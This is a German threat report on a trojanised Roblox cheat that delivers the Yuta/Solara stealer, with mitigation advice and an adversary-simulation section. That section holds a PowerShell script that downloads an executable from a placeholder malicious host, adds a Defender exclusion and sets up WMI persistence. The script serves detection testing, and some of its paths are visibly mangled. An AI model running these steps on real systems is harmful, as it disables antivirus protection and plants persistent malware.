KI-gestützte Roblox-Cheats liefern den Yuta/Solara Stealer

Zusammenfassung

Ein bösartiges Roblox-Cheat-Paket kombiniert eine trojanisierte .NET-Oberfläche mit einem Python-Stealer, der über PyInstaller gebündelt ist. Der initiale Loader schwächt die Microsoft Defender-Schutzmaßnahmen, ruft eine zweite Payload-Stufe von MediaFire ab und startet Malware, die von Glove Stealer abgeleitet ist, um Anmeldeinformationen, Cookies, Wallet-Dateien und spielbezogene Assets zu sammeln. Die gestohlenen Daten werden anschließend über verschlüsselte Discord-Webhooks exfiltriert und von einem persistente Discord-Bot-RAT unterstützt.

Untersuchung

Der Bericht bietet eine detaillierte statische Analyse der Malware, einschließlich der Extraktion der PyInstaller-Payload, der Dekompilierung von Python 3.12-Bytecode und der Kartierung des Workflows zum Diebstahl von Anmeldeinformationen. Es wird auch die vollständige mehrstufige Ausführungskette sowie die Abwehrumgehungsmethoden der Betreiber und der fünfstufige Ansatz zur Umgehung des Chrome App-Bound-Verschlüsselungsschutzes beschrieben.

Minderung

Organisationen sollten die Ausführung unbekannter, nicht signierter Binärdateien blockieren, eine strikte Anwendungs-Whitelist anwenden, Änderungen an Defender-Ausnahmen und verdächtige PowerShell-Nutzung überwachen und ungewöhnliche Downloads von Konfigurationsdaten von Pastebin erkennen. Discord-Webhook-Verkehr sollte eingeschränkt oder genau überwacht werden, und Verteidiger sollten auf abnormale Chrome-Starts achten, die Debugger-bezogene Flags verwenden.

Reaktion

Sicherheitsteams sollten bei der Erstellung von winupdate.exe im AppData-Cache, verdächtigen Modifikationen von Registrierungsschlüsseln für Run, der Erstellung von geplanten Aufgaben und ungewöhnlicher Aktivität in Discord-Kanälen alarmieren. Bösartige Dateien sollten in Quarantäne gestellt, unautorisierte Defender-Ausnahmen entfernt und forensische Sammlungen in allen möglicherweise gesammelten Anmeldeinformationen durchgeführt werden.

Simulationsausführung

Voraussetzung: Die Telemetrie & der Basislinien-Vorflug-Check muss bestanden sein.

Rational: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

• Angriffs-Narrativ & Befehle:

  1. Übertragung von Werkzeugen bei Ingress (T1105): Der Angreifer lädt den bösartigen Roblox-Executor herunter (SLaunch.exe) von einem kompromittierten Webserver.
  2. Ausführung mit Defender-Manipulation (T1548.002): Mit PowerShell führt der Angreifer SLaunch.exe mit einer Befehlszeile aus, die Add-MpPreference -ExclusionPath "C:Roblox" aufruft, um den Roblox-Installationsordner von der Prüfung des Windows Defenders auszuschließen.
  3. Persistenz (T1546.003 / T1547.001): Ein WMI-Ereignisabonnement wird erstellt, um SLaunch.exe beim Systemstart erneut auszuführen.
  4. Erfassung von Anmeldeinformationen (T1056.001, T1555.003): Während der Injektor läuft, erfasst er Tastatureingaben und extrahiert gespeicherte Roblox-Anmeldeinformationen aus Browser-Speichern.

• Regressionstestskript: Das folgende PowerShell-Skript reproduziert die Schritte 2–3 und erzeugt die Telemetrie, die die Sigma-Regel erwartet.

  # ------------------------------------------------------------
  # Roblox Injector-Ausführung + Defender-Ausnahme (TC Script)
  # ------------------------------------------------------------
  
  # Pfade (nach Bedarf anpassen)
  $injectorPath = "C:TempSLaunch.exe"
  $defenderExcl = "C:Roblox"
  
  # 1. Sicherstellen, dass der Injektor existiert (Download-Platzhalter)
  if (-Not (Test-Path $injectorPath)) {
      Write-Host "Bösartigen Injektor herunterladen..."
      Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath
  }
  
  # 2. Injektor mit Defender-Ausnahmebefehlszeile ausführen
  $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`""
  Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow
  
  # 3. Permanentes WMI-Ereignisabonnement zur Persistenz erstellen
  $wmiFilter = @"
  SELECT * FROM __InstanceCreationEvent
  WITHIN 60
  WHERE TargetInstance ISA 'Win32_Process' 
  AND TargetInstance.Name = 'SLaunch.exe'
  "@
  
  $filterPath = "ROOTDEFAULT"
  $filterName = "RobloxInjectorFilter"
  $consumerName = "RobloxInjectorConsumer"
  
  # Filter registrieren
  $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter `
      -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' }
  
  # Befehlszeilen-Verbraucher registrieren
  $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer `
      -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" }
  
  # Filter an Verbraucher binden
  Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH }
  
  Write-Host "Simulation abgeschlossen – Erkennungstelemetrie sollte generiert worden sein."

• Bereinigungskommandos: Die oben erstellte Defender-Ausnahme und das WMI-Abonnement entfernen.

  # Defender-Ausnahme entfernen
  Remove-MpPreference -ExclusionPath "C:Roblox"
  
  # WMI-Filter & Verbraucher löschen
  $filterPath = "ROOTDEFAULT"
  Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject
  
  # Injektorbinary löschen
  Remove-Item -Path "C:TempSLaunch.exe" -Force